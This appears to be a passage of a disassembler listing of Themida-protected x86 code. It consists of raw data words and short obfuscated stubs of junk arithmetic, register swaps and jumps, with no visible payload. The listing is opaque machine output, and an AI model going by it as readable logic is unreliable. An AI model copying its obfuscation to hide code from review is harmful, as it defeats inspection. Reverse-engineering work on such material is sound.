		dd 5200004Ch, 0C281E289h, 4, 0E9A9E951h, 0E952FFFFh, 55CAh
		dd 592414F6h, 5350CA86h, 0EBC027B3h, 80C3FE08h,	0C3FE6EC3h
		dd 80D7E380h, 0DC88B4F3h, 60CC805Bh, 78EC80h, 2427E9E2h
		dd 0C890000h, 2CC8B924h, 0C801163Fh, 41A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E3791:				; CODE XREF: Themida_:005E37DBj
		sub	ebx, 10A94DC5h
		jmp	loc_5E680A
; ---------------------------------------------------------------------------


loc_5E379C:				; CODE XREF: Themida_:005DE049j
		mov	edx, ebx
		jmp	loc_5DE8D4
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5C240C87h, 0FFEC09E9h, 0E95752FFh, 52C6h, 4C281h, 0E9510000h
		dd 1374h, 2404005Ch, 0A3F4E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E37CA:				; CODE XREF: Themida_:005E140Ej
		mov	ebp, 0E5323D4h
		or	ebp, 7BDE2313h
		push	ebx
		mov	ebx, 0
		jmp	loc_5E3791
; ---------------------------------------------------------------------------


loc_5E37E0:				; CODE XREF: Themida_:005E2193j
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5E142E
; ---------------------------------------------------------------------------


loc_5E37F7:				; CODE XREF: Themida_:005E9E61j
		pop	esp
		xchg	eax, ebp
		push	6361h
		mov	[esp], eax
		not	dword ptr [esp]
		pop	eax
		xchg	eax, ebp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	45E5h
		jmp	loc_5E5902
; ---------------------------------------------------------------------------
		dw 0CB29h
		dd 0B3C38159h, 89D82615h, 0F7015BDEh, 930E9h, 81E90100h
		dd 0C9589DE9h, 0BD555D40h, 2, 0A1685652h, 5E61FC0Fh, 2EEC14Eh
		dd 0F681EED1h, 70DA8446h, 15EF289h, 0C1815AD1h,	6CD33298h
		dd 0E9E9E901h, 8300002Ah, 48904ECh, 2801B024h, 2434FFC6h
		dd 8124048Bh, 4C4h, 4CDDE900h, 0C4810000h, 4, 5202E7C0h
		dd 0D6F6FE88h, 34FFF788h, 0C4835A24h, 0E9D7F604h, 0FFFFDA00h
; ---------------------------------------------------------------------------


loc_5E3898:				; CODE XREF: Themida_:005E82D2j
		and	ecx, 49044C73h
		jmp	loc_5E63DD
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0A314E902h, 0C588FFFFh, 8B59EA88h, 0C4832404h, 8BC20004h
		dd 1EE92404h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E38BF:				; CODE XREF: Themida_:005E29C4j
		mov	edi, 4
		add	edx, 0D683BF9h
		add	edx, edi
		push	341Bh
		mov	[esp], ecx
		mov	ecx, 4FDD15C4h
		dec	ecx
		jmp	loc_5DE976
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815A2434h, 4C4h, 718E6800h, 0C890000h, 3831B924h, 0BBE9712Dh
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E38FB:				; CODE XREF: Themida_:005E6E77j
		sub	ebx, 0F9322C1Dh
		sub	esp, 4
		mov	[esp], edx
		push	1C08h
		mov	[esp], esi
		mov	esi, ebx
		jmp	loc_5E292F
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 4
		dd 0A8D7E924h, 55ADFFFFh, 4B6B33BDh, 21F0E922h,	52530000h
		dd 0A92E6EBAh, 5AD38955h, 114EC281h, 0EA81457Eh, 44CF5A2Fh
		dd 0D0E9DA29h, 8100004Ch, 0F93A7CEEh, 0BBE9E972h, 0EDC1FFFFh
		dd 73ED8103h, 29C0AB92h, 15B5DEAh, 1799E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E396A:				; CODE XREF: Themida_:005E4FBFj
		mov	ebx, 7D230216h
		mov	ecx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 5D3D108Ch
		xchg	edx, ecx
		inc	edx
		jmp	loc_5E0CF3
; ---------------------------------------------------------------------------
		dd 88241489h, 5AF188FEh, 53241C8Bh, 0C3815B54h,	4, 4C381h
		dd 1C870000h, 4C885C24h, 0C8B0187h, 4C48124h, 0E9000000h
		dd 0FFFFA20Eh
; ---------------------------------------------------------------------------


loc_5E39B0:				; CODE XREF: Themida_:005E7F46j
		push	589Eh
		mov	[esp], edx
		push	esi
		mov	esi, 575F4353h
		jmp	loc_5E7B33
; ---------------------------------------------------------------------------
		db 81h
		dd 8D0DA7EEh, 0F5C68138h, 2D6CAC63h, 658A18D0h,	0BF57F029h
		dd 658A18D0h, 5E5FF801h, 0FFC63BE9h, 71BD55FFh,	8175FD4Eh
		dd 0FD4E75F5h, 5DEE0175h, 8704EE83h, 248B2434h,	243C8924h
		dd 37B3E9h, 4FEE0500h, 0C80147CBh, 0E29BA52h, 0C28130DFh
		dd 16EC41C5h, 8B5AD029h, 0C483240Ch, 2C08304h, 25A9E9h
		dd 51E78900h, 4B9h, 6207E900h, 0C7280000h, 0B8E98058h
		dd 0C180F928h, 30A3E9B8h, 68590000h, 3525h, 0FFCDAFE9h
		dd 46850FFh, 58000000h,	3CD7BB53h, 5C0102B0h, 15B0824h
		dd 81042444h, 0D704246Ch, 0E902B03Ch, 5FBEh, 0E92434FFh
		dd 161Bh, 3E48685Eh, 3C890000h,	4EC8124h, 89000000h, 76B9240Ch
		dd 0BF6ADF0Ah, 1C6A6B4Fh, 0C8BCF31h, 4C48324h, 0FFB583E9h
		dd 81DBF7FFh, 310085C3h, 36C38178h, 8114D21Ah, 0D21E20C3h
		dd 0E9D901C5h, 44AAh, 24048966h, 0FFA0F5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E3AC9:				; CODE XREF: Themida_:005DFAA7j
		and	eax, ecx
		pop	ecx
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_5E2A47
; ---------------------------------------------------------------------------
a2iSyw		db '2YW',0
		dw 3300h
		dd 14312414h, 24143324h, 2404295Ch, 0A0CCE99Ch,	8359FFFFh
		dd 9E904C7h, 31FFFFACh,	34332434h, 24248B24h, 50241489h
		dd 3DD3E99Ch, 295D0000h, 8104247Ch, 0FE042444h,	8B65A92Dh
		dd 6EE9243Ch, 1000030h,	0DAC281FAh, 0E977F90Ch,	4172h
; ---------------------------------------------------------------------------


loc_5E3B30:				; CODE XREF: Themida_:005E8B75j
		mov	ebx, [esp]
		jmp	loc_5DFE21
; ---------------------------------------------------------------------------
		dd 6C2F68h, 24048900h, 405E089h, 55000000h, 549BBF57h
		dd 34BD2305h, 316AF801h, 0E5C15FFDh, 74ED8103h,	54FEAADh
		dd 685F5719h, 0F7E9E829h, 81000056h, 2E49FBC5h,	5EDC133h
		dd 6382CD81h, 7E91D8Fh,	8100000Eh, 6F3B99F1h, 59CE09BBh
		dd 2F1AEE81h, 94E9567Ch, 0FF000029h, 1DE92434h,	66FFFFF3h
		dd 0EC00E953h, 815EFFFFh, 4ECh,	24048900h, 0C7235BB8h
		dd 47DEE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E3BB6:				; CODE XREF: Themida_:005E2C12j
		pop	edx
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_5E6E11
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 55DAE904h, 895C0000h, 0BB532404h, 4,	815BD889h, 9441E0C6h
		dd 81C60145h, 9441E0EEh, 24048B45h, 4C481h, 1CE90000h
		dd 5FFFFFA4h, 29A0C781h, 815A3EE9h, 9D49D0EFh, 8EFC10Dh
		dd 623AF781h, 81472DF6h, 0C33C5DCFh, 23C78158h,	89A41A16h
		dd 243C8BFBh, 4C481h, 0DD310000h, 1C6F095Bh, 9F90E95Dh
		dd 0E800FFFFh, 68665A59h, 0C9E90F80h, 5C00002Fh, 119E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E3C41:				; CODE XREF: Themida_:005E698Bj
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_5E286B
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 40901EFCh
		xchg	ecx, ebx
		not	ecx
		xchg	ecx, ebx
		dec	ebx
		shr	ebx, 4
		or	ebx, 76E912D2h
		shr	ebx, 1
		sub	ebx, 3FFFFF65h
		jmp	loc_5DDEC1
; ---------------------------------------------------------------------------
		dw 0F101h
		dd 4C1835Eh, 5C240C87h,	0FFC0F8E9h, 0D0C5FEFFh,	0DAED80EDh
		dd 0FFFF91E9h, 133EBFFFh, 2DE9700Bh, 0BE000034h, 2, 0B8E9F229h
		dd 53000024h, 1165F5BBh, 94E94B7Dh, 83FFFFD0h, 5BE904ECh
		dd 0B1FFFFC5h, 0FFCB0092h, 81592434h, 4C4h, 0C0B60F00h
		dd 0E98734FFh, 0FFFF9EDEh, 87E9D7F7h, 8BFFFFC5h, 0C4832434h
		dd 0FFF20104h, 64E92434h, 89FFFFDAh, 2E02E9E0h,	525E0000h
		dd 942DDC68h, 0CA815A0Ah, 40C073FCh, 0DAF7DAF7h, 2C27F281h
		dd 0EBE92C15h, 89000055h, 1FE92434h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E3D23:				; CODE XREF: Themida_:005E6AFBj
		pop	edx
		jmp	loc_5E202A
; ---------------------------------------------------------------------------
		db 0BAh, 48h, 7Eh
		dd 0AEE91F88h, 4EFFFFB1h, 41F5F681h, 0E6810974h, 3B397758h
		dd 4F38E953h, 148B0000h, 4C48324h, 81E28952h, 4C2h, 2951E900h
		dd 0EC830000h, 242C8904h, 0E952E589h, 4BC2h, 0F6AECA80h
		dd 80D2F6DAh, 0D300B3EAh, 0FCBD555Ah, 1000003h,	242C8BEFh
		dd 8904EC83h, 0E6892434h, 25D168h, 24048900h, 5F3F9AB8h
		dd 3F962D6Ch, 0C6816C5Fh, 4C23305Ch, 0EE81C601h, 4C23305Ch
		dd 3555E958h, 0E95C0000h, 0FFFFF0CAh, 4C681h, 34870000h
		dd 0A6E95C24h, 0E9FFFFD2h, 0FFFF9DF6h
; ---------------------------------------------------------------------------


loc_5E3DC8:				; CODE XREF: Themida_:005E1259j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5DDEC8
; ---------------------------------------------------------------------------


loc_5E3DD7:				; CODE XREF: Themida_:005DFDD2j
		sub	edx, ecx
		pop	ecx
		push	edi
		push	ebp
		jmp	loc_5E56AB
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 4BAh, 0ABC58100h, 8172BF52h,	0D01676C5h, 0E9D50150h
		dd 3F24h, 0E45EE95Ch, 0E95DFFFFh, 1E40h, 240C8B66h, 55E18951h
		dd 96850BDh, 1846E961h,	0E3000000h, 0D1EB8058h,	0E9C0B60Fh
		dd 55E6h, 81E78957h, 4C7h, 4EF8100h, 87000000h,	895C243Ch
		dd 0C3E9240Ch, 81FFFFB5h, 0AC136DC1h, 8141415Ch, 0A1A56E9h
		dd 59CB890Ah, 215BDE31h, 26E95EF7h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E3E5F:				; CODE XREF: Themida_:005E6F22j
		add	ecx, edi
		mov	[ecx], bh
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_5E2E61
; ---------------------------------------------------------------------------
		db 0E9h, 44h, 9Dh
		dd 0C681FFFFh, 4, 4BD55h, 0EE810000h, 5DA03B09h, 0E957EE29h
		dd 522Ch, 4C6815Eh, 53000000h, 6D7EBF57h, 0CF817096h, 4F504FB7h
		dd 81DFF747h, 0C844A4E7h, 0FE2AE95Eh, 148BFFFFh, 4C48324h
		dd 0C108E8C1h, 0D8F704E0h, 9ED03435h, 58C301F6h, 29FF68h
		dd 24348900h, 4BEh, 5EF30100h, 559EE9h,	58C38100h, 0E949E93Fh
		dd 0FFFFC83Dh
; ---------------------------------------------------------------------------


loc_5E3EEC:				; CODE XREF: Themida_:005E26EDj
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5E3F0A
; ---------------------------------------------------------------------------
		db 8Fh,	47h, 40h
		dd 0FF9CBDE9h, 0B35366FFh, 0A49DE915h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E3F0A:				; CODE XREF: Themida_:005E3EF4j
		and	ecx, ebx
		pop	ebx
		jmp	loc_5DE9A3
; ---------------------------------------------------------------------------
aI4Ichf		db '4$hf',0Ah,0
		align 4
		dd 28F0E9h, 48B6600h, 6A1B6824h, 1C890000h, 50E38924h
		dd 781ABE56h, 0F7465DA6h, 20B850D6h, 555DA678h,	0DA5496BDh
		dd 46C58169h, 0E9454F29h, 3D83h
; ---------------------------------------------------------------------------


loc_5E3F50:				; CODE XREF: Themida_:005E797Fj
		pop	eax
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_5E9502
; ---------------------------------------------------------------------------
		db 0FFh
		dd 50592434h, 405E089h,	83000000h, 48704C0h, 51665C24h
		dd 0EB289CB5h, 240C8B66h, 2C481h, 0B1510000h, 0E9CB28C6h
		dd 325Bh
; ---------------------------------------------------------------------------


loc_5E3F88:				; CODE XREF: Themida_:005E3642j
		and	eax, 1C4D13C9h
		xor	eax, 2C47456Eh
		jmp	loc_5DDF5C
; ---------------------------------------------------------------------------
		db 29h
		dd 0C3315EF0h, 0FFC9CFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E3FA1:				; CODE XREF: Themida_:005E7464j
		xchg	edi, ebx
		jmp	loc_5E9CD9
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FFDC31E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E3FB1:				; CODE XREF: Themida_:005E7EE0j
		push	45B8h
		jmp	loc_5E4F45
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C381h, 0B9510000h, 4, 0C8BCB29h, 4C48324h, 4EC81h
		dd 1C890000h, 2474FF24h, 266EE904h, 34FF0000h, 2434FF24h
		dd 204AE958h, 0A2680000h, 8900002Bh, 4812414h, 0BC2D9C24h
		dd 0C3EEE963h, 0D329FFFFh, 241C875Ah, 2E6EE95Ch, 0C1010000h
		dd 0E8B85058h, 3100DA66h, 0C82958C1h, 792D2D59h, 4AE9558Ch
		dd 66000000h, 57240C8Bh, 0FFC469E9h, 9B88E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E4036:				; CODE XREF: Themida_:005E5192j
		pop	ebx
		sub	eax, 5FBE289Ch
		pop	ebx
		sub	ebx, 52152CF8h
		add	ebx, eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5283702Fh
		xor	edx, 5C5A0EADh
		dec	edx
		push	ecx
		mov	ecx, 6DD4F9Fh
		sub	ecx, 7A300DF3h
		add	ecx, 35134F53h
		jmp	loc_5E75DB
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 0E9h
		dd 0FFFFAE0Bh, 4C481h, 0C7830000h, 243C8704h, 46B82D5Ch
		dd 0F0011A42h, 421468h,	105BE900h, 875D0000h, 0B5E9243Ch
		dd 57000018h, 0AD25A8BFh, 3DE95300h, 66000011h,	5BDA2858h
		dd 3081EA80h, 68665AD0h, 0C4E935EAh, 81000017h,	4C4h, 0D9E95100h
		dd 83000036h, 40104C4h,	0E7E99C24h, 0FFFFFF9Ah,	34FF2434h
		dd 8F685824h, 89000045h, 0E589242Ch, 4C581h, 0D5680000h
		dd 89000010h, 0BE56243Ch, 12104DF5h, 81E28952h,	4C2h, 4EA8300h
		dd 0E9241487h, 0FFFFF20Fh, 4EC81h, 4890000h, 0E9D08824h
		dd 5175h, 0FAE95655h, 0ADFFFFCCh, 0E421C92Dh, 536BE97Eh
		dd 0C1800000h, 59CA0028h, 8006F280h, 94E904EAh
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E4143:				; CODE XREF: Themida_:005E8579j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		jmp	loc_5E6F48
; ---------------------------------------------------------------------------
aZS		db '^<$%',9,0
		align 2


loc_5E4162:				; CODE XREF: Themida_:005E2686j
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	eax, 3B77591Ah
		push	468Eh
		mov	[esp], ebp
		mov	ebp, 72253D0Ah
		not	ebp
		shr	ebp, 5
		push	722Fh
		mov	[esp], ebx
		push	esi
		mov	esi, 7CCC563Ah
		dec	esi
		jmp	loc_5E4A71
; ---------------------------------------------------------------------------
		dw 5658h
		dd 0C6815E54h, 4, 1DF2E9h, 0E9CA0100h, 0FFFFAC95h, 8904EC83h
		dd 14B7241Ch, 78E9732Ch, 0F7000033h, 0D1D2F7DAh, 47C5E9E2h
		dd 0EC810000h, 4, 0BE243489h, 25C90E58h, 358EEF81h, 0F7297D7Ch
		dd 358EC781h, 0E8E97D7Ch
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E41F3:				; CODE XREF: Themida_:005E09A5j
		push	3AC23EF1h
		mov	ecx, [esp]
		jmp	loc_5E49BE
; ---------------------------------------------------------------------------
		dd 5FF1C681h, 48B6294h,	46AAE924h, 0C8B0000h, 4C48324h
		dd 4B850h, 6CE90000h, 52FFFFE4h, 0F626B753h, 0F6C7FED7h
		dd 0E9C7FED7h, 0FFFFA3CCh
; ---------------------------------------------------------------------------


loc_5E4230:				; CODE XREF: Themida_:005DF73Bj
		push	edi
		mov	edi, 6AC71DF2h
		push	edi
		not	dword ptr [esp]
		pop	edi
		add	edi, 935D575Fh
		sub	eax, edi
		pop	edi
		jmp	loc_5E8F65
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 87000000h, 0E95C2414h, 1E4Ah, 8B2434FFh, 0ACE92404h
		dd 0B9000029h, 3B935964h, 16BFE9h, 12CC0500h, 0F8013BF7h
		dd 0F712CC2Dh, 7BE95F3Bh, 81000051h, 4C5h, 0CABA5200h
		dd 81449959h, 295335F2h, 68DAF736h, 5649h, 0BE243489h
		dd 8D4FF4FFh, 1152E9h, 0E2686600h, 1489663Ch, 9C506624h
		dd 0FFD36DE9h, 240C89FFh, 0FFE409E9h, 93C781FFh, 5D6D875Fh
		dd 0E9243C33h, 0FFFFBD90h
; ---------------------------------------------------------------------------


loc_5E42CC:				; CODE XREF: Themida_:005E673Aj
		xor	ebx, edx
		xor	eax, ebx
		xor	ebx, eax
		jmp	loc_5E6F60
; ---------------------------------------------------------------------------


loc_5E42D7:				; CODE XREF: Themida_:005DE980j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5E7174
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FFDBABE9h, 4C483FFh, 81240C8Bh, 4C4h, 0C7BFE900h, 0EF29FFFFh
		dd 0FFE81AE9h, 0EE015BFFh, 4EE835Dh, 5C243487h,	0BD242C89h
		dd 2A30593h, 53FABB53h,	814B36FFh, 0D35BA6F3h, 4EC8335h
		dd 0E9241489h, 0FFFFDD4Bh, 9C2404D2h, 514EE9h, 24148B00h
		dd 4C481h, 9EE90000h, 0E9FFFFC0h, 0FFFF986Eh, 8E6CF8BFh
		dd 75F7815Ah, 0F7760652h, 0DFF747D7h, 10B8504Fh, 29D4D13Fh
		dd 0FD2958C7h, 0E9EE895Fh, 36A7h
; ---------------------------------------------------------------------------


loc_5E4374:				; CODE XREF: Themida_:005DE270j
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		jmp	loc_5DE2B3
; ---------------------------------------------------------------------------
		dd 945DDD35h, 58C1014Ch, 0FFBCBEE9h, 3EB035FFh,	76E9198Fh
		dd 0F700002Eh, 4000E9D6h, 0EF890000h, 5EF7015Dh, 3350E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E43A9:				; CODE XREF: Themida_:005E5258j
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5E86FA
; ---------------------------------------------------------------------------
		dd 5E4F42BDh, 35CD8111h, 4D657C49h, 355FE9h, 2434FF00h
		dd 8124048Bh, 4ECh, 242C8900h, 0C581E589h, 4, 4C581h, 0C2E90000h
		dd 81FFFFBEh, 4C7h, 0A0F2E900h,	8F5EFFFFh, 0FF5C2404h
		dd 34FF2434h, 2434FF24h
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5E5CE1
; ---------------------------------------------------------------------------


loc_5E440F:				; CODE XREF: Themida_:005E2887j
		push	eax
		push	edi
		jmp	loc_5E9915
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 62216852h,	4890000h, 42B75324h, 804DC780h
		dd 0D7F635E7h, 0FFA363E9h, 0C8B66FFh, 51676824h, 2C890000h
		dd 4EC8324h, 83242489h,	8B042404h, 1FE9242Ch
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E4453:				; CODE XREF: Themida_:005E4500j
		mov	ebx, 7F5C0F34h
		sub	ebx, eax
		jmp	loc_5E69E6
; ---------------------------------------------------------------------------
		db 0F7h
		dd 4BD3F7D3h, 52D4E9h, 0F7F98700h, 87F987D7h, 0AFE9240Ch
		dd 89FFFFA7h, 4EC83E5h,	68241489h, 6BEEh, 68240C89h, 68596990h
		dd 83240C8Bh, 0BE5604C4h, 4718114Eh, 0F75EF121h, 4F181D9h
		dd 89BFE7FFh, 0D50159CAh, 15DEE95Ah, 885B0000h,	4137E9F5h
		dd 0E9550000h, 0FFFFDEC4h
; ---------------------------------------------------------------------------


loc_5E44BC:				; CODE XREF: Themida_:005E461Cj
		add	esi, ebp
		pop	ebp
		jmp	loc_5E264F
; ---------------------------------------------------------------------------


loc_5E44C4:				; CODE XREF: Themida_:005E7AF8j
		xor	ebx, 41F12305h
		shr	ebx, 7
		and	ebx, 23985951h
		shr	ebx, 7
		sub	ebx, 1300Ch
		jmp	loc_5E1373
; ---------------------------------------------------------------------------
		db 0B2h, 82h, 0E9h
		dd 0FFFFF880h, 4BFh, 0BD90E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E44F2:				; CODE XREF: Themida_:005E7D8Ej
		xchg	ebp, [esp]
		jmp	loc_5E8E20
; ---------------------------------------------------------------------------


loc_5E44FA:				; CODE XREF: Themida_:005E3014j
		push	eax
		mov	eax, 7F5C0F32h
		jmp	loc_5E4453
; ---------------------------------------------------------------------------
		db 83h,	0C5h, 0FFh
		dd 252E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E450D:				; CODE XREF: Themida_:005E2E6Aj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5E5D4C
; ---------------------------------------------------------------------------
		db 5Ah,	87h, 4
aS_5		db '$',7,'*',0
		align 2
		dw 4481h
		dd 58E60424h, 0D2E94AEFh, 50000021h, 176892B8h,	68A72D53h
		dd 0D4050A4h, 2A2C56DAh, 0BF4EB835h, 0EE9E3577h, 0C629F24Ch
		dd 2C23BD58h, 0F529506Bh, 8BEF295Eh, 0C483242Ch, 2C69E904h
		dd 0B8500000h, 69BE081Bh, 0FFA0D0E9h, 2434FFFFh, 4C4815Dh
		dd 0E9000000h, 0FFFF963Ah
; ---------------------------------------------------------------------------


loc_5E4584:				; CODE XREF: Themida_:005E0BE3j
		dec	esi
		sub	esi, 72150787h
		not	esi
		inc	esi
		not	esi
		jmp	loc_5E26E7
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 0FF9EF5E9h, 24248BFFh, 7BE468h, 240C8900h, 4A71E9h
		dd 8DE68000h, 0FFF2AAE9h, 0BE5652FFh, 7DDE4A5Eh, 3B5472BAh
		dd 5EF23153h, 0A6CA8142h, 4225423Eh, 0C12BBB53h, 0DA29F419h
		dd 0E9241C8Bh, 2CB7h, 13A5B951h, 0CD3153D4h, 0E9E82959h
		dd 528Ch, 42D468ACh, 0C890000h,	5E6D6824h, 14890000h, 0E97EE924h
		dd 6664FFFFh, 6850028Bh, 52E4h,	24048F54h, 0D3ACE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E4616:				; CODE XREF: Themida_:005E7FDBj
		push	ebp
		mov	ebp, 4
		jmp	loc_5E44BC
; ---------------------------------------------------------------------------
		db 89h,	0C1h, 0E9h
		dd 1E6Bh, 0FFB15B59h, 305AF128h, 0C8B66C8h, 2C48324h, 4EC81h
		dd 4890000h, 0F679B424h, 5AB252DCh, 8003EAC0h, 0EA80F8F2h
		dd 5EAC0A0h, 2030EA80h,	0D4F65AD4h, 83B55166h, 37E9EC28h
		dd 0D300001Fh, 0E99C2404h, 0FFFF954Eh, 240C8B66h, 8904EC83h
		dd 5A542414h, 4BE56h, 0F2010000h, 36A2E9h, 24248900h, 4240481h
		dd 0FF000000h, 835E2434h, 92E904C4h, 8BFFFFB9h,	44E9240Ch
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E46A7:				; CODE XREF: Themida_:005E8797j
		or	ecx, 65D4475Ah
		jmp	loc_5E9029
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4C7h, 0C05E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E46BE:				; CODE XREF: Themida_:005E9AE0j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		mov	esi, 34763D95h
		push	edx
		jmp	loc_5DDF25
; ---------------------------------------------------------------------------


loc_5E46D1:				; CODE XREF: Themida_:005E63E5j
		add	ecx, 1D1B3AEBh
		mov	edx, ecx
		jmp	loc_5E9B4E
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 0A4180FBBh, 0BF38179h, 0E979A418h, 0FFFFA5C6h
		dd 0C3E5815Bh, 811CA120h, 0AC5171F5h, 0CDB6E95Ah, 2489FFFFh
		dd 79BE924h, 0E9560000h, 2ECFh,	20B768h, 243C8900h, 0EC83E789h
		dd 241C8904h, 4BBh, 5BDF0100h, 0E7E68h,	240C8900h, 0FFB789E9h
		dd 0C2D66FFh, 0C529664Eh, 311DE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E4746:				; CODE XREF: Themida_:005E9A91j
		add	esi, 4
		push	ebx
		jmp	loc_5E2B87
; ---------------------------------------------------------------------------


loc_5E4752:				; CODE XREF: Themida_:005DE7D2j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5E1B35
; ---------------------------------------------------------------------------
aMsP		db 'MP',0
		db 0
; ---------------------------------------------------------------------------


loc_5E4765:				; CODE XREF: Themida_:005E2DEDj
		or	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5E7E78
; ---------------------------------------------------------------------------
		db 0F7h, 0D1h, 81h
aUNbwsu		db ';bW%',0
		db 0
; ---------------------------------------------------------------------------


loc_5E4783:				; CODE XREF: Themida_:005E7679j
		mov	ecx, eax
		pop	eax
		jmp	loc_5E8F4C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 4C48124h, 81000000h, 4C4h,	0E6895600h, 4C681h
		dd 0E9510000h, 349Ch, 2C0A63BEh, 2474016Ch, 24348B04h
		dd 81E68956h, 4C6h, 4C68300h, 2474FF56h, 48F5E04h, 48B5C24h
		dd 5690E924h, 0C6810000h, 4, 4C681h, 34870000h,	0C7815C24h
		dd 4, 2C781h, 3C870000h, 0D3665C24h, 0E99C2424h, 2E7Eh
		dd 295EF289h, 24148BD0h, 4C481h, 0BA520000h, 53365493h
		dd 0FE0A642Dh, 97BEE944h, 0C681FFFFh, 4, 5604C683h, 42474FFh
		dd 0FF9C67E9h, 4EC83FFh, 56240489h, 0E8028FBEh,	5EF08920h
		dd 4001C083h, 1DD68h, 0CFCAE900h, 0F800FFFFh, 198B685Bh
		dd 14890000h, 4D10E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E485E:				; CODE XREF: Themida_:005DEC63j
		sub	ecx, 4102457h
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_5E97DF
; ---------------------------------------------------------------------------
		db 9, 0CBh, 59h
		dd 74BBEB81h, 0F3811CBEh, 4331083Bh, 25AE9h, 14F75200h
		dd 24148B24h, 4C481h, 0A0E90000h, 33FFFFB5h, 0F6E9240Ch
		dd 51000023h, 534A29B9h, 3E9C146h, 6803E9C1h, 0
		dd 0FFBB74E9h, 9BC181FFh, 522835F0h, 423AE955h,	0BA520000h
		dd 815D8AD0h, 0FF9B80E9h, 0C3305BFFh, 5E08950h,	4, 42Dh
		dd 74FF5000h, 8F580424h, 895C2404h, 7BE9241Ch
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E48FB:				; CODE XREF: Themida_:005E7D1Bj
		push	edx
		jmp	loc_5DFBE9
; ---------------------------------------------------------------------------
		db 53h,	55h, 0BDh
		dd 68E5268Ah, 253AC581h, 0D5F70547h, 2A99C581h,	0F5811E4Ch
		dd 74784B22h, 9F08F581h, 0EB899CB7h, 0FCBE565Dh, 3158D00Ah
		dd 24348BF3h, 8104C483h, 3D79D8C6h, 81DE0148h, 3D79D8EEh
		dd 241C8B48h, 0E904C483h, 22A1h, 63E9565Fh
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E4953:				; CODE XREF: Themida_:005DFF62j
		jmp	loc_5DDBBE
; ---------------------------------------------------------------------------
